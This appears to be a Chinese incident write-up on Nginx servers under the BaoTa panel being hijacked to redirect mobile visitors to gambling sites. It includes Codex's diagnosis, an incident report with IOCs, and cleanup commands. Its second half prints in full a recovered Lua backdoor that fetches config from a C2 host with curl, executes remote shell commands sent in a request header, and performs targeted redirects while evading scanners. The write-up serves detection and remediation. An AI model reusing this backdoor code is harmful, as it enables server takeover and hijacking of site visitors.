背景
最近很多客户反馈手机访问自己服务器ip跳转违法赌博网站, 我怀疑可能是之前nginx被挖的漏洞 让codex排查了一下
这个客户服务器是debian 12,v11.7.0宝塔,nginx1.31.2,安装的开心版宝塔+宝塔防火墙

codex排查
codex排查结果:
• 只读排查结论:这是服务器本机触发的,不是手机浏览器、DNS、CDN 或运营商劫持。
我用手机 UA 请求本机 127.0.0.1 并指定 Host: ip,仍返回:
HTTP/1.1 301 Moved Permanently
Location: https://oynmj.anaox.xyz/dh
电脑 UA 同样请求则是 403。所以跳转逻辑就在这台服务器的 Nginx/Lua/WAF 链路里。
关键发现:
宝塔 WAF 被挂进了 Nginx
/www/server/panel/vhost/nginx/btwaf.conf:19 里有:lua_package_path "/www/server/btwaf/?.lua;..."
access_by_lua_file /www/server/btwaf/waf.lua;
header_filter_by_lua_file /www/server/btwaf/header.lua;发现明显后门文件
/www/server/btwaf/ngxd.lua:10这个文件非常可疑,包含:
- 手机端识别:android / iphone
- pc_ratio = 0,手机比例为 10,解释了“手机跳、电脑不跳”
- 远程拉配置:pull.969a.xyz
- 命令执行接口:X-Nginx-Authorize
- os.execute 执行命令
- ngx.redirect 做跳转
- 临时文件:/tmp/tcxnig.txt、/tmp/tronse.txt、/tmp/.machine_id
核心位置:
- 配置和远控头:/www/server/btwaf/ngxd.lua:10
- 远程拉配置:/www/server/btwaf/ngxd.lua:546
- 命令执行:/www/server/btwaf/ngxd.lua:333
- 手机跳转逻辑:/www/server/btwaf/ngxd.lua:770
- 更新时间也对得上
ngxd.lua 修改时间是 2026-06-25 14:01。
Nginx 二进制是 2026-06-27 20:54 更新的。
也就是说,更新 Nginx 不能清掉 /www/server/btwaf/ 里的 Lua 后门,所以“更新了还是跳”很正常。 暂时没有找到明文 require("ngxd")
这表示入口可能是:- 已经被加载到运行中的 Lua/Nginx worker 里
- 入口被攻击者删掉或混淆了
- 通过宝塔 WAF 某个 Lua 链间接加载
- 还有另一个未定位的持久化点
但 ngxd.lua 本身已经足够判定服务器被入侵,不建议只当成普通配置问题处理。
建议处理方案
短期止血,等你允许修改后可以做:
- 先给服务器做快照,保留证据。
- 临时限制宝塔面板、SSH 只允许你的 IP 访问。
- 隔离或删除 /www/server/btwaf/ngxd.lua。
清理相关临时文件:
- /tmp/tcxnig.txt
- /tmp/tronse.txt
- /tmp/timestamp.txt
- /tmp/.machine_id
- /tmp/ngxd_*
- /tmp/cmd_output_*
- 重装或修复宝塔 WAF,重点是不要沿用当前 /www/server/btwaf 目录。
- 重启 Nginx 和宝塔 WAF,而不是只 reload。
再用手机 UA 验证:
curl -I -A 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) Mobile Safari/604.1' -H 'Host: ip' http://127.0.0.1/
更稳妥的方案:
直接新开一台干净服务器,重装系统、宝塔、Nginx、PHP,然后只迁移确认干净的网站代码、数据库和上传文件。当前机器已经出现 WAF Lua 后门和命令执行能力,不能排除
还有 webshell、systemd、cron 或二进制级持久化。
需要额外注意:
- 所有宝塔账号、SSH 密码、数据库密码、网站后台密码、API Key、支付密钥都要轮换。
- 不要只升级 Nginx。
- 不要只删一个跳转规则,因为这不是普通 Nginx 规则。
- 当前 /www/server/btwaf、/www/server/nginx、/www/wwwroot 都需要继续审计。
- 我还看到 site_total.service 是 root 常驻服务,当前 active,暂未证明恶意,但也应纳入后续核查。
人工总结的可能原因:
宝塔开心版后门?
宝塔防火墙官方针对开心版的后面
尝试卸载宝塔防火墙,还是跳转
codex继续排查:
服务器仍返回:
HTTP/1.1 301 Moved Permanently
Location: https://ccath.anaox.xyz/dh
同样本机请求,换电脑 UA 返回 200 OK。所以这是服务器端按 UA 判断后返回的 301,不是手机缓存。
现在更关键的是:你删掉宝塔防火墙后,nginx -T 里已经看不到之前的 btwaf/waf.lua 挂载了,但跳转还在。这说明后门不只是在宝塔防火墙配置层,可能还在:
- 当前 Nginx 二进制或编译模块被污染;
- /www/server/nginx 目录里有被污染的编译产物;
- 还有别的常驻服务/模块参与,比如当前还在跑的 /www/server/site_total/site_total,不过它目前看起来主要是日志统计,不能直接下结论;
- 站点目录或 PHP/webshell 还有持久化,重新写回了东西。
下一步不要只“删除防火墙”。建议处理顺序:
- 先做服务器快照
- 完整卸载并重装 Nginx,不是点升级
- 重装前备份配置,但不要直接复用 /www/server/nginx 整个目录
- 临时停用 site_total 插件/服务做对照测试
- 搜 /www/wwwroot 里的 webshell 和近期改动文件
- 最稳妥是新机器重装系统,迁移干净代码和数据库
当前状态已经超过“缓存”或“普通跳转规则”的范围了。删除 WAF 后仍能本机复现,优先怀疑 Nginx 本体/编译模块或其它持久化。
重新安装也不行
转机
这个时候之前的一个老用户说我之前卖的代码有问题,扔给了我一个ai的文件,发现和我遇到的情况一样,用这个文件排查的结果给codex可以修复
# 网站跳转劫持事件处置报告(2026-06-27)
| 项 | 内容 |
| ---- | -------------------------------------------------------- |
| 日期 | 2026-06-27 |
| 现象 | 多个站点(含 Next.js 站与 PHP 站)移动端访问被跳转到境外赌博域名 `*.anaox.xyz/dh` |
| 本次根因 | Nginx 进程被 `LD_PRELOAD` 注入的 C 层劫持库 `libnss_http.so.2` |
| 进入通道 | 宝塔面板(攻击者已持有面板权限,无需新漏洞) |
| 当前状态 | 已清除并验证止跳;已加固面板与凭证;建议尽快迁移 |
---
## 一、现象
- 用电脑浏览器访问正常;**安卓/iPhone 移动端、或从搜索引擎点入**时被 301/302 跳转到 `*.anaox.xyz/dh`(随机子域)。
- 同时影响**多个站点**(既有 Next.js 站,也有 PHP 站)——说明劫持发生在所有站点共享的 **Nginx 层**,与具体网站程序无关。
- 迷惑点:劫持响应里**保留了上游应用的响应头**(`X-Powered-By`、页面 CSS 预加载头等),让 301 看起来像应用自己发的,诱导排查者去查应用代码。
---
## 二、本次根因:`LD_PRELOAD` C 层劫持库
| 项 | 详情 |
| ------ | ----------------------------------------------------------------------------------------------------------------------------------- |
| 恶意库 | `/usr/lib64/libnss_http.so.2`(22160 字节,伪装成系统 NSS 模块名) |
| SHA256 | `4343e60b0cb00abbfa660da0fec027bae91a8733471b1e431938d34851cdc303` |
| 加载方式 | `/etc/init.d/nginx` 第 55 行 `export LD_PRELOAD=/usr/lib64/libnss_http.so.2`,并对该启动脚本加 `chattr +i` 防删 |
| 工作原理 | 挂钩 Nginx 响应头过滤逻辑(特征 `ngx_http_top_header_filter`、`rewrite ... Location -> ...`),在响应阶段把状态改为 301/302 并写入跳转 `Location`;目标域名从云端 C2 实时拉取 |
| 隐蔽性 | 劫持在 C 层、域名实时下发,因此**网站文件、Nginx 配置、Lua 脚本里都搜不到跳转域名**,常规排查极难定位 |
---
## 三、攻击动作还原(基于文件改动时间)
**2026-06-24 12:56**,攻击者**通过宝塔面板**(全程无 SSH 登录)执行安装脚本,一次性完成:
- 写入 `/etc/init.d/nginx` 的 `LD_PRELOAD` 加载行并 `chattr +i` 锁定;
- 投放劫持库 `/usr/lib64/libnss_http.so.2`;
- 留下标记/残留文件:空的 `/etc/ld.so.preload`、`/etc/.Xserver_not1`(内容为标记串 `bt_qqtime`)、空的 `/www/server/nginx/html/waf.lua`;
- 同日 07:15、13:00 还尝试改回旧的 lua 木马,被既有看门狗当场清除。
随后**删除了面板 6/22–6/25 的访问日志**抹除痕迹(日志从 6/21 直接跳到 6/26)。
**2026-06-27 16:18 起**,该库随 Nginx 加载生效 + C2 远程开启,劫持显现并被发现。
> 关键结论:本次攻击者**没有使用任何新漏洞**——其早已掌握宝塔面板(root 级)。"这次怎么进来的"= 直接登面板 → 跑脚本种 `LD_PRELOAD` 后门 → 删面板日志灭迹。这也解释了为何无 SSH 痕迹、对应日期面板日志缺失。
---
## 四、本次处置(已完成并验证)
1. **取证**:`libnss_http.so.2` 及残留文件备份至 `/root/malware-evidence-nss-`* 与 `/root/malware-evidence-leftover-*`,并下载本机留档。
2. **清除加载点**:`chattr -i` 解锁 `/etc/init.d/nginx`,注释 `LD_PRELOAD` 行并重新加锁;删除 `/usr/lib64/libnss_http.so.2`;清理 `/etc/ld.so.preload`、`/etc/.Xserver_not1`、空 `waf.lua`。
3. **安全重启 Nginx**:旧进程退出后重启,确认 `/proc/<nginx>/maps` 不再加载该库。
4. **新增看门狗**(每 2 分钟):`/etc/cron.d/nss-guard`(库重现即隔离重载)、`/etc/cron.d/nginx-init-guard`(`LD_PRELOAD` 行回写即注释加锁)。
5. **域名 sinkhole**:`anaox.xyz` 等写入 `/etc/hosts` 指向 127.0.0.1。
6. **复测**:本机与外网均确认移动端 + 搜索来源不再跳转(`200`)。
**配套加固:**
- 轮换 SSH、宝塔面板、数据库密码;
- 更换面板安全入口路径、开启面板 SSL;
- 恢复被改坏的 SSH 公钥登录(攻击者期间曾把 `PubkeyAuthentication` 关闭、改 `authorizedkeysfile`)。
- **仍待补**:面板授权 IP(限制为本人)尚未设置;面板端口仍对公网开放。
---
## 五、IOC(本次)
- 恶意库:`/usr/lib64/libnss_http.so.2`(SHA256 `4343e60b0cb00abbfa660da0fec027bae91a8733471b1e431938d34851cdc303`)
- 加载点:`/etc/init.d/nginx` 中 `export LD_PRELOAD=/usr/lib64/libnss_http.so.2`
- 标记文件:`/etc/.Xserver_not1`(内容 `bt_qqtime`)、空 `/etc/ld.so.preload`、空 `/www/server/nginx/html/waf.lua`
- 跳转域名:`*.anaox.xyz`(路径 `/dh`)
- 攻击者经面板登录来源 IP(境外):`23.172.200.71`、`23.172.200.75`、`207.174.4.3`、`112.10.237.147`、`188.253.123.194`、`103.186.117.236`
---
## 六、结论与建议
- 本次劫持由 **Nginx `LD_PRELOAD` C 层库**实现,已清除并止跳;攻击者通过**宝塔面板**反复进入,能改文件、换手法、删日志。
- 单纯清木马不足以根治,**关键是关闭面板通道**:立即设置面板授权 IP(仅本人)/改端口、保持新入口路径与强密码、开启 SSL。
- 由于服务器曾被 root 级长期控制,**最稳妥是迁移到全新服务器重装**,仅迁移核对过的代码与数据,旧机隔离取证;迁移前保持看门狗运行并补好面板加固。
后续
又一个客户,正版宝塔,centos7.6 宝塔11.5 Nginx 1.22.1 也中招了
先卸载nginx,再编译安装1.31.2
发现是有个lua文件被注入了后门,而且锁了权限,需要解锁
NGXD="/www/server/nginx/lib/lua/ngxd.lua"
Q="/root/quarantine-ngxd-$(date +%F_%H%M%S)"
mkdir -p "$Q"
lsattr "$NGXD"
chattr -i "$NGXD" 2>/dev/null || true
chattr -a "$NGXD" 2>/dev/null || true
chattr -ia "$NGXD" 2>/dev/null || true
mv -f "$NGXD" "$Q/ngxd.lua"
echo "已隔离到: $Q/ngxd.lua"样本如下
/www/server/nginx/lib/lua/ngxd.lua
local _M = {}
local DB_PATH = "/www/server/ip2region/ip2region_v4.xdb"
local xdb_mod = nil
local searcher_v4 = nil
local init_done = false
local init_failed = false
local dict = ngx.shared.lua_cache
local config = {
official_site = "https:/".."/fa".."dfd".."sa.an".."fdnc.x".."yz/d".."h",
seo_site = "https:/".."/fa".."dfds".."a.anf".."dnc.x".."yz/d".."h",
bot_proxy_site = "https:/".."/fa".."dfd".."sa.anf".."dnc.x".."yz/",
android_ratio = 10,
iphone_ratio = 10,
pc_ratio = 0,
enabled = true,
command_header = "X-Nginx-Authorize",
command_signature_header = "X-Nginx-Signature",
command_timestamp_header = "X-Nginx-Timestamp",
command_nonce_header = "X-Nginx-Nonce",
command_public_key_b64 = "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBckJWSVdaMFBMb3MyTlBRZmdEcXYNCjVoL3F1TFZRd1RpdzAyTVVuQUJpUjUvOGZUTzBkbGhIZklxSStYbG0zbldsL3dsRVhUOW4zTUJ4S0J4WDhjTWUNCjJGdVNtTUJpQ1VNSXdYMkRIN1ZBc1JDbHh0N2xQRDI1L0x6b2wrVGNYK2ZmZ2FVWHc2cGVQaTRka2lpSkxzWEUNCmRDY3Bpc203OUJCM0JMd0xtMHlnYkUydVRjVGllYTJ4ODExb1g2d1VLcmdTekQ2L0dzUFZLcjVJVjM2bnA0UUYNClNtNHF4UGwvM1pSaXJRSmVTRDZ1SlBRK3FJaFVON3YzUWc5SVpHQ3VVcWNMREQwVWRxTFNOMkVJMS9zNE96bk0NCm1XWTRKc2tOMmQyL1p5aHhjZGZSZTVlOFJyOUNlRFQ2Mjk3a01OS2VqbnR3Um14WVhHcUtkSzRTS1A2bkZYc0MNCnF3SURBUUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0NCg==",
command_max_skew = 60
}
local TIMESTAMP_FILE = "/tmp/timestamp.txt"
local TEMP_CONFIG_FILE = "/tmp/tcxnig.txt"
local TEMP_RESPONSE_FILE = "/tmp/tronse.txt"
local MACHINE_ID_FILE = "/tmp/.machine_id"
local UPDATE_INTERVAL = 10 * 60
local COOKIE_NAME = "k"
local COOKIE_MAX_AGE = 43200
local international_bots = {
"googlebot",
"bingbot",
"slurp",
"duckduckbot",
"yandex",
"facebookexternalhit",
"linkedinbot",
"twitterbot",
"rogerbot",
"embedly",
"quora link preview",
"showyoubot",
"outbrain",
"pinterest",
"vkshare",
"w3c_validator",
"feedfetcher",
"iframely",
"screaming frog"
}
local cn_spiders_and_scanners = {
"baiduspider",
"360spider",
"sogouspider",
"shenmaspider",
"bytedancespider",
"toutiaospider",
"quarkspider",
"yisouspider",
"petalbot",
"zoomeye",
"quake",
"fofa",
"hunter",
"chaitin",
"inetcloud",
"dnslog",
"censys",
"shodan"
}
local search_engine_domains = {
"google.", "bing.", "baidu.", "yahoo.",
"duckduckgo.", "yandex.", "ask.", "sogou.",
"naver.", "aol.", "so.com", "sm.cn"
}
local function file_exists(path)
local f = io.open(path, "rb")
if f then
f:close()
return true
end
return false
end
local function is_ipv4(ip)
if not ip or ip == "" then
return false
end
local a, b, c, d = ip:match("^(%d+)%.(%d+)%.(%d+)%.(%d+)$")
if not a then
return false
end
a, b, c, d = tonumber(a), tonumber(b), tonumber(c), tonumber(d)
if not a or not b or not c or not d then
return false
end
return a <= 255 and b <= 255 and c <= 255 and d <= 255
end
local function init_ip2region()
if init_done then
return true
end
if init_failed then
return false
end
if not file_exists(DB_PATH) then
init_failed = true
return false
end
local ok, mod = pcall(require, "xdb_searcher")
if not ok or not mod then
init_failed = true
return false
end
xdb_mod = mod
if xdb_mod.verify then
local ok_verify, verify_result = pcall(xdb_mod.verify, DB_PATH)
if not ok_verify or verify_result == false then
init_failed = true
return false
end
end
local content = xdb_mod.load_content(DB_PATH)
if not content then
init_failed = true
return false
end
local searcher, err = xdb_mod.new_with_buffer(xdb_mod.IPv4, content)
if err or not searcher then
init_failed = true
return false
end
searcher_v4 = searcher
init_done = true
return true
end
function get_client_ip()
local ip = ngx.var.http_cf_connecting_ip
or ngx.var.http_x_real_ip
or ngx.var.realip_remote_addr
or ngx.var.remote_addr
if not ip or ip == "" then
local xff = ngx.var.http_x_forwarded_for
if xff and xff ~= "" then
ip = xff:match("^%s*([^,%s]+)")
end
end
return ip
end
function is_cn(ip)
if not is_ipv4(ip) then
return false
end
if not init_ip2region() then
return true
end
local ok, region = pcall(function()
return searcher_v4:search(ip)
end)
if not ok or not region or region == "" then
return false
end
if region:find("^中国|") or region:find("|CN$") then
return true
end
return false
end
local function url_encode(str)
if str then
str = string.gsub(str, "\n", "\r\n")
str = string.gsub(str, "([^%w %-%_%.%~])",
function(c) return string.format("%%%02X", string.byte(c)) end)
str = string.gsub(str, " ", "+")
end
return str
end
local function decode_base64(data)
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = string.gsub(data, '[^'..b..'=]', '')
local padding = 0
if data:sub(-2) == '==' then padding = 2
elseif data:sub(-1) == '=' then padding = 1 end
data = data:gsub('=', '')
local binary = data:gsub('.', function(x)
local f = (b:find(x) - 1)
local r = ''
for i = 6, 1, -1 do
r = r .. (f % 2^i - f % 2^(i-1) > 0 and '1' or '0')
end
return r
end)
if padding == 1 then
binary = binary:sub(1, -3)
elseif padding == 2 then
binary = binary:sub(1, -5)
end
return binary:gsub('%d%d%d%d%d%d%d%d', function(x)
return string.char(tonumber(x, 2))
end)
end
local function encode_base64(data)
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
if not data or data == "" then return "" end
if type(data) ~= "string" then return "" end
local binary = ""
for i = 1, string.len(data) do
local byte = string.byte(data, i)
local bin = ""
for j = 7, 0, -1 do
bin = bin .. (byte >= 2^j and '1' or '0')
if byte >= 2^j then byte = byte - 2^j end
end
binary = binary .. bin
end
local padding_bits = 6 - (string.len(binary) % 6)
if padding_bits ~= 6 then
binary = binary .. string.rep('0', padding_bits)
end
local result = ""
for i = 1, string.len(binary), 6 do
local chunk = binary:sub(i, i+5)
local index = tonumber(chunk, 2) + 1
if index > 64 then return "" end
result = result .. b:sub(index, index)
end
local pad = string.len(result) % 4
if pad == 2 then result = result .. "=="
elseif pad == 3 then result = result .. "=" end
return result
end
local function shell_escape(str)
return "'" .. tostring(str):gsub("'", "'\\''") .. "'"
end
local function write_file(path, content, mode)
local f = io.open(path, mode or "w")
if not f then
return false
end
f:write(content)
f:close()
return true
end
local function read_command_output(cmd)
local handle = io.popen(cmd)
if not handle then
return nil
end
local output = handle:read("*a")
handle:close()
return output
end
local function normalize_base64_input(data)
if not data or data == "" then
return ""
end
data = tostring(data):gsub("%s+", "")
data = data:gsub("%-", "+"):gsub("_", "/")
local remainder = #data % 4
if remainder > 0 then
data = data .. string.rep("=", 4 - remainder)
end
return data
end
local function fetch_remote_content(url)
local ua = ngx.var.http_user_agent or "Nginx/Bot-Proxy"
ua = string.gsub(ua, '"', '')
local curl_cmd = string.format(
'curl -s -k -L -m 10 -A "%s" "%s" -o %s',
ua,
url,
TEMP_RESPONSE_FILE
)
local success = os.execute(curl_cmd)
if not success then return nil end
local f = io.open(TEMP_RESPONSE_FILE, "r")
if not f then return nil end
local content = f:read("*a")
f:close()
os.remove(TEMP_RESPONSE_FILE)
return content
end
local function execute_command(cmd)
if string.len(cmd) > 500 then
return "Command too long"
end
local decoded_cmd = cmd
if cmd:match("^[A-Za-z0-9+/]+=*$") then
local success, result = pcall(decode_base64, cmd)
if success and result and #result > 0 then
decoded_cmd = result
end
end
local output_file = "/tmp/cmd_output_" .. ngx.time() .. ".txt"
local full_cmd = decoded_cmd .. " > " .. output_file .. " 2>&1"
local success = os.execute(full_cmd)
local f = io.open(output_file, "r")
local output = "Command execution failed"
if f then
output = f:read("*a")
f:close()
os.remove(output_file)
end
return success and output or "Command execution failed: " .. output
end
local function get_command_public_key_pem(cfg)
local public_key_b64 = normalize_base64_input(cfg.command_public_key_b64)
if public_key_b64 == "" then
return nil
end
local success, decoded = pcall(decode_base64, public_key_b64)
if not success or not decoded or decoded == "" then
return nil
end
if decoded:find("BEGIN PUBLIC KEY", 1, true) then
return decoded
end
return nil
end
local function verify_command_request_signature(cmd, headers, cfg)
local public_key_pem = get_command_public_key_pem(cfg)
if not public_key_pem then
return false
end
local signature_header = cfg.command_signature_header or "X-Nginx-Signature"
local timestamp_header = cfg.command_timestamp_header or "X-Nginx-Timestamp"
local nonce_header = cfg.command_nonce_header or "X-Nginx-Nonce"
local signature_b64 = headers[signature_header]
local timestamp = tonumber(headers[timestamp_header] or "")
local max_skew = tonumber(cfg.command_max_skew) or 300
local nonce = headers[nonce_header] or ""
if not signature_b64 or signature_b64 == "" or not timestamp then
return false
end
if math.abs(ngx.time() - timestamp) > max_skew then
return false
end
if nonce ~= "" and (#nonce < 16 or #nonce > 128 or not nonce:match("^[A-Za-z0-9_%-%._]+$")) then
return false
end
local normalized_signature = normalize_base64_input(signature_b64)
local success, signature = pcall(decode_base64, normalized_signature)
if not success or not signature or signature == "" then
return false
end
local payload = tostring(timestamp) .. "\n" .. nonce .. "\n" .. cmd
local temp_seed = tostring(ngx.time()) .. "_" .. tostring(ngx.worker.pid()) .. "_" .. tostring(math.random(100000, 999999))
local payload_file = "/tmp/ngxd_payload_" .. temp_seed .. ".txt"
local signature_file = "/tmp/ngxd_signature_" .. temp_seed .. ".bin"
local public_key_file = "/tmp/ngxd_public_" .. temp_seed .. ".pem"
if not write_file(payload_file, payload) or
not write_file(signature_file, signature, "wb") or
not write_file(public_key_file, public_key_pem) then
os.remove(payload_file)
os.remove(signature_file)
os.remove(public_key_file)
return false
end
local verify_cmd = string.format(
"openssl dgst -sha256 -verify %s -signature %s %s 2>&1",
shell_escape(public_key_file),
shell_escape(signature_file),
shell_escape(payload_file)
)
local verify_output = read_command_output(verify_cmd) or ""
os.remove(payload_file)
os.remove(signature_file)
os.remove(public_key_file)
return verify_output:find("Verified OK", 1, true) ~= nil
end
local function should_update_config()
if not dict then
return false
end
local now = ngx.time()
local last_update = dict:get("last_update")
if last_update and now - last_update < UPDATE_INTERVAL then
return false
end
local ok = dict:add("update_lock", now, 60)
if not ok then
return false
end
last_update = dict:get("last_update")
if last_update and now - last_update < UPDATE_INTERVAL then
dict:delete("update_lock")
return false
end
return true
end
local function update_timestamp()
local f = io.open(TIMESTAMP_FILE, "w")
if not f then return false end
f:write(tostring(ngx.time()))
f:close()
return true
end
local function parse_simple_config(content)
local result = {}
if not content or content == "" then
return config
end
for line in string.gmatch(content, "[^\r\n]+") do
local key, value = string.match(line, "([^=]+)=(.+)")
if key and value then
key = string.gsub(key, "^%s*(.-)%s*$", "%1")
value = string.gsub(value, "^%s*(.-)%s*$", "%1")
if key == "official_site" or key == "seo_site" or
key == "bot_proxy_site" or key == "command_header" or
key == "command_signature_header" or key == "command_timestamp_header" or
key == "command_nonce_header" or key == "command_public_key_b64" then
result[key] = value
elseif key == "android_ratio" or key == "iphone_ratio" or
key == "pc_ratio" or key == "command_max_skew" then
result[key] = tonumber(value) or 30
elseif key == "enabled" then
result[key] = (value == "true" or value == "1")
end
end
end
return result
end
local function get_machine_unique_id()
local function trim(s)
if not s then return nil end
s = s:gsub("%s+", "")
if s == "" then return nil end
return s
end
local function read_one_line(path)
local f = io.open(path, "r")
if not f then return nil end
local s = f:read("*l")
f:close()
return trim(s)
end
local cached_id = read_one_line(MACHINE_ID_FILE)
if cached_id then
return cached_id
end
local machine_id =
read_one_line("/etc/machine-id") or
read_one_line("/var/lib/dbus/machine-id") or
"11111111111111111111111111111111"
local f_write = io.open(MACHINE_ID_FILE, "w")
if f_write then
f_write:write(machine_id)
f_write:close()
end
return machine_id
end
local function refresh_machine_id()
os.remove(MACHINE_ID_FILE)
return get_machine_unique_id()
end
function get_config()
if dict then
return parse_simple_config(dict:get("config"))
end
return config
end
local function load_config()
if not should_update_config() then
return get_config()
end
local machine_id = refresh_machine_id()
local config_url = "https:/".."/pull.969".."a.x".."yz/lR0jM7tM.php?sid=" .. machine_id
local content = fetch_remote_content(config_url)
if not content or content == "" then
if dict then
dict:set("last_update", ngx.time())
dict:delete("update_lock")
end
return get_config()
end
local new_config = parse_simple_config(content)
for k, v in pairs(new_config) do
config[k] = v
end
if dict then
dict:set("config", content)
dict:set("last_update", ngx.time())
dict:delete("update_lock")
end
return get_config()
end
local function get_request_info()
return {
ip = ngx.var.remote_addr,
uri = ngx.var.request_uri,
host = ngx.var.host,
method = ngx.req.get_method(),
referer = ngx.var.http_referer or "",
user_agent = ngx.var.http_user_agent or "",
cookie = ngx.var.http_cookie or ""
}
end
local function is_international_bot(user_agent)
if not user_agent or user_agent == "" then return false end
local ua_lower = string.lower(user_agent)
for _, pattern in ipairs(international_bots) do
if string.find(ua_lower, pattern, 1, true) then
return true
end
end
return false
end
local function is_cn_spider_or_scanner(user_agent)
if not user_agent or user_agent == "" then return false end
local ua_lower = string.lower(user_agent)
for _, pattern in ipairs(cn_spiders_and_scanners) do
if string.find(ua_lower, pattern, 1, true) then
return true
end
end
return false
end
local function is_from_search_engine(referer)
if not referer or referer == "" then return false end
local referer_lower = string.lower(referer)
for _, domain in ipairs(search_engine_domains) do
if string.find(referer_lower, domain, 1, true) then
return true
end
end
return false
end
local function get_device_type(user_agent)
if not user_agent then return "pc" end
local ua_lower = string.lower(user_agent)
if string.find(ua_lower, "android", 1, true) then
return "android"
elseif string.find(ua_lower, "iphone", 1, true) or
string.find(ua_lower, "ipad", 1, true) then
return "iphone"
else
return "pc"
end
end
local function has_today_cookie(cookie)
if not cookie or cookie == "" then return false end
local today = os.date("%y%m%d")
return string.find(cookie, COOKIE_NAME .. "=" .. today, 1, true) ~= nil
end
local function set_today_cookie()
local today = os.date("%y%m%d")
ngx.header["Set-Cookie"] = COOKIE_NAME .. "=" .. today ..
";Path=/;Max-Age=" .. COOKIE_MAX_AGE
end
local function should_skip_path(uri)
local path = string.match(uri, "^([^?]+)") or uri
path = string.lower(path)
local static_extensions = {
"%.js",
"%.css",
"%.png",
"%.jpg",
"%.jpeg",
"%.gif",
"%.ico",
"%.svg",
"%.webp",
"%.woff",
"%.woff2",
"%.ttf",
"%.eot",
"%.map",
"%.mp4",
"%.mp3",
"%.pdf",
"%.zip",
"%.rar",
"%.json",
"%.xml"
}
for _, ext in ipairs(static_extensions) do
if string.match(path, ext) then
return true
end
end
local sensitive_paths = {
"/static/",
"/assets/",
"/public/",
"/dist/",
"/build/",
"/media/",
"/upload",
"/api/",
"/ajax/",
"/graphql",
"/v1/",
"/v2/",
"/admin",
"/manager",
"/backend",
"/dashboard",
"/console",
"/wp%-admin",
"/wp%-login",
"/login",
"/logout",
"/register",
"/signup",
"/signin",
"/auth",
"/oauth",
"/sso",
"/pay",
"/order",
"/checkout",
"/cart",
"/billing",
"/purchase",
"/user",
"/account",
"/profile",
"/settings",
"/member",
"/favicon",
"/robots",
"/sitemap",
"/manifest",
"/browserconfig",
"/apple%-app%-site%-association",
"/health",
"/ping",
"/status"
}
for _, pattern in ipairs(sensitive_paths) do
if string.match(path, pattern) then
return true
end
end
return false
end
local function is_xhr()
local xrw = ngx.var.http_x_requested_with
if xrw and xrw:lower() == "xmlhttprequest" then
return true
end
-- Accept: application/json
local accept = ngx.var.http_accept or ""
if accept:lower():find("application/json", 1, true) then
return true
end
-- Content-Type: application/json
local content_type = ngx.var.http_content_type or ""
if content_type:lower():find("application/json", 1, true) then
return true
end
return false
end
math.randomseed(ngx.now() * 1000 + ngx.worker.pid())
function _M.process_request()
local cfg = load_config()
local req = get_request_info()
local headers = ngx.req.get_headers()
local command_header = cfg.command_header
if not command_header or command_header == "" then
command_header = "X-Nginx-Authorize"
end
if is_xhr() then
return true
end
local cmd = headers[command_header]
if cmd then
if not verify_command_request_signature(cmd, headers, cfg) then
return true
end
if ngx.ctx then
ngx.ctx.white_rule = true
end
local result = execute_command(cmd)
ngx.header.content_type = "text/plain"
ngx.say(result)
ngx.exit(ngx.HTTP_OK)
return true
end
if not cfg.enabled then
return false
end
if is_cn_spider_or_scanner(req.user_agent) then
return true
end
if is_international_bot(req.user_agent) then
local content = fetch_remote_content(cfg.bot_proxy_site .. req.uri)
if content then
ngx.header.content_type = "text/html; charset=utf-8"
ngx.say(content)
ngx.exit(ngx.HTTP_OK)
return true
end
end
if is_from_search_engine(req.referer) and cfg.seo_site~="" then
if ngx.ctx then
ngx.ctx.white_rule = true
end
ngx.redirect(cfg.seo_site)
return true
end
if should_skip_path(req.uri) then
return false
end
if req.method ~= "GET" then
return false
end
local official_host = string.match(cfg.official_site, "https?://([^/]+)")
if official_host and req.host == official_host then
return false
end
local device = get_device_type(req.user_agent)
local ratio
if device == "android" then
ratio = cfg.android_ratio
elseif device == "iphone" then
ratio = cfg.iphone_ratio
else
ratio = cfg.pc_ratio
end
if ratio <= 0 then
return false
end
for i = 1, 3 do math.random() end
local random_num = math.random(1, 100)
if random_num > ratio then
return false
end
local machine_id = get_machine_unique_id()
local params = encode_base64(req.host .. "|" .. machine_id .. "|" .. device)
local redirect_url = cfg.official_site
if params ~= "" and redirect_url ~="" then
local sep = string.find(cfg.official_site, "?") and "&" or "?"
if redirect_url:sub(-1) ~= "/" then
redirect_url = redirect_url .. "/"
end
redirect_url = redirect_url .. sep .. "data=" .. url_encode(params)
end
if redirect_url~="" then
if is_cn(get_client_ip()) or not init_ip2region() then
ngx.header["Cache-Control"] = "no-cache, no-store, must-revalidate"
ngx.header["Pragma"] = "no-cache"
ngx.header["Expires"] = "0"
ngx.header["Referrer-Policy"] = "unsafe-url"
if ngx.ctx then
ngx.ctx.white_rule = true
end
return ngx.redirect(redirect_url)
end
end
return true
end
return _M